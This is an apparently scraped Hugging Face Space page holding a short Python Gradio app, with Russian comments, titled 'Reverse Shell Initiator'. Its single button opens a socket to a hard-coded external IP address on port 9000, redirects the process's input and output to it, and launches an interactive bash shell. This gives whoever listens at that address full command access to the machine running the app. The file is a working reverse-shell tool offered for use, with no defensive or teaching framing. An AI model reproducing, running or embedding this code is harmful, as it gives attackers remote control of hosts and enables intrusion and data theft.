Spaces:
Running
Running
import gradio as gr | |
import socket | |
import subprocess | |
import threading | |
import os | |
def run_reverse_shell(): | |
try: | |
# Задаем IP-адрес и порт сервера | |
ip = '45.155.205.202' | |
port = 9000 | |
def shell_thread(): | |
try: | |
# Создаем сокет | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((ip, port)) | |
# Отправляем сообщение о подключении | |
s.send(b"Connected to reverse shell.\n") | |
# Сразу входим в интерактивную оболочку | |
os.dup2(s.fileno(), 0) # stdin | |
os.dup2(s.fileno(), 1) # stdout | |
os.dup2(s.fileno(), 2) # stderr | |
# Запускаем оболочку (например, bash) | |
p = subprocess.call(['/bin/bash', '-i']) # Используем -i для интерактивного режима | |
# Закрываем сокет | |
s.close() | |
except Exception as e: | |
return f"Error: {e}" | |
# Запускаем обратную оболочку в отдельном потоке, чтобы не блокировать Gradio интерфейс | |
shell = threading.Thread(target=shell_thread) | |
shell.start() | |
return "Reverse shell has been initiated." | |
except Exception as e: | |
return f"An error occurred: {str(e)}" | |
# Создаем интерфейс Gradio | |
iface = gr.Interface( | |
fn=run_reverse_shell, | |
inputs=None, # Нет входных данных, только кнопка | |
outputs="text", | |
title="Reverse Shell Initiator", | |
description="Click the button to initiate a reverse shell." | |
) | |
# Запуск интерфейса | |
iface.launch() |